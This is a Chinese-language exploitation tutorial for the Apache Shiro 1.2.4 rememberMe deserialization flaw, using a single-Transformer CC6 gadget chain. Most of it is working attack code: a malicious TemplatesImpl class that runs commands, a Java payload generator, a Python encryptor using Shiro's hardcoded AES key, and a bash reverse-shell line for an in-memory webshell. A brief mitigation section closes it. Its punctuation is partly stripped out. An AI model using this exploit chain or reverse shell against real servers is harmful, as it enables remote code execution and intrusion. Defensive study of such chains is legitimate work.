Shiro 1.2.4 反序列化漏洞利用CC6链单Transformer改造实战与EXP分析1. 漏洞背景与利用场景Apache Shiro作为广泛使用的Java安全框架其1.2.4版本存在一个关键的反序列化漏洞。该漏洞主要存在于rememberMe功能中攻击者可以构造恶意序列化数据通过AES加密后触发服务端反序列化执行任意代码。在不出网无外连环境下利用该漏洞面临特殊挑战Tomcat类加载器对Transformer数组的限制原生CC6链依赖多个Transformer串联执行Shiro默认使用固定AES密钥(kPHbIxk5D2deZiIxcaaaA)加密序列化数据典型攻击场景目标系统使用Shiro 1.2.4及以下版本存在commons-collections 3.2.1或更低版本依赖服务端无法主动连接外网内网渗透场景2. CC6链原理与改造思路2.1 标准CC6链分析原始CC6链调用流程如下HashMap.readObject() HashMap.putVal() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform() [多个Transformer依次执行]关键限制在于Shiro反序列化时无法加载[Lorg.apache.commons.collections.Transformer数组类型必须将多Transformer调用简化为单Transformer调用2.2 单Transformer改造方案通过分析TemplatesImpl机制我们发现可以通过以下方式实现单Transformer利用使用InvokerTransformer直接调用newTransformernew InvokerTransformer(newTransformer, null, null)利用TemplatesImpl加载字节码TemplatesImpl templates new TemplatesImpl(); setFieldValue(templates, _bytecodes, new byte[][]{evilBytes}); setFieldValue(templates, _name, Pwn); setFieldValue(templates, _tfactory, new TransformerFactoryImpl());改造LazyMap触发点Map lazyMap LazyMap.decorate(new HashMap(), transformer); TiedMapEntry entry new TiedMapEntry(lazyMap, templates);2.3 关键改造步骤初始化无害TransformerTransformer transformer new InvokerTransformer(getClass, null, null);构建触发链Map innerMap new HashMap(); Map outerMap LazyMap.decorate(innerMap, transformer); TiedMapEntry tiedMapEntry new TiedMapEntry(outerMap, templates); Map expMap new HashMap(); expMap.put(tiedMapEntry, xxx);反射替换关键方法outerMap.clear(); // 清除触发痕迹 setFieldValue(transformer, iMethodName, newTransformer);3. 完整EXP实现3.1 恶意类构造使用Javassist动态生成恶意字节码public class Evil extends AbstractTranslet { public Evil() throws Exception { Runtime.getRuntime().exec(calc); } Override public void transform(DOM document, SerializationHandler[] handlers) {} Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {} }3.2 Payload生成代码public class ShiroCC6Exploit { public static byte[] generatePayload(byte[] clazzBytes) throws Exception { // 1. 初始化TemplatesImpl TemplatesImpl templates new TemplatesImpl(); setFieldValue(templates, _bytecodes, new byte[][]{clazzBytes}); setFieldValue(templates, _name, Pwn); setFieldValue(templates, _tfactory, new TransformerFactoryImpl()); // 2. 构建单Transformer链 Transformer transformer new InvokerTransformer(getClass, null, null); Map innerMap new HashMap(); Map outerMap LazyMap.decorate(innerMap, transformer); TiedMapEntry tiedMapEntry new TiedMapEntry(outerMap, templates); // 3. 构造触发HashMap Map expMap new HashMap(); expMap.put(tiedMapEntry, trigger); outerMap.clear(); // 清除提前触发的痕迹 // 4. 反射修改关键方法名 setFieldValue(transformer, iMethodName, newTransformer); // 5. 序列化Payload ByteArrayOutputStream baos new ByteArrayOutputStream(); new ObjectOutputStream(baos).writeObject(expMap); return baos.toByteArray(); } private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }3.3 Shiro加密处理import base64 import uuid from Crypto.Cipher import AES def encrypt_shiro(payload): BS AES.block_size pad lambda s: s ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key base64.b64decode(kPHbIxk5D2deZiIxcaaaA) iv uuid.uuid4().bytes cipher AES.new(key, AES.MODE_CBC, iv) padded pad(payload) encrypted cipher.encrypt(padded) return base64.b64encode(iv encrypted).decode()4. 实战利用与调试技巧4.1 环境搭建要点测试环境配置# 依赖库版本 dependency groupIdorg.apache.shiro/groupId artifactIdshiro-core/artifactId version1.2.4/version /dependency dependency groupIdcommons-collections/groupId artifactIdcommons-collections/artifactId version3.2.1/version /dependency调试关键断点TiedMapEntry.hashCode()LazyMap.get()TemplatesImpl.defineTransletClasses()4.2 常见问题解决问题1反序列化时抛出ClassCastException检查TemplatesImpl._name字段是否设置确认_tfactory字段为TransformerFactoryImpl实例问题2命令执行未触发使用Runtime.getRuntime().exec(new String[]{/bin/bash,-c,cmd})兼容Linux检查目标JDK版本是否限制某些类加载问题3内存马注入// WebShell内存马示例 String cmd bash -i /dev/tcp/127.0.0.1/4444 01; byte[] code generateMemoryShell(cmd); setFieldValue(templates, _bytecodes, new byte[][]{code});5. 防御建议与缓解措施官方补丁升级升级到Shiro 1.2.5版本修改默认AES加密密钥临时缓解方案// 禁用rememberMe功能 securityManager.setRememberMeManager(null);安全检测建议监控TemplatesImpl类加载行为拦截异常反序列化请求使用RASP防护关键Java方法提示实际渗透测试中建议先使用无害Payload验证漏洞存在性确认成功后再执行实际攻击操作。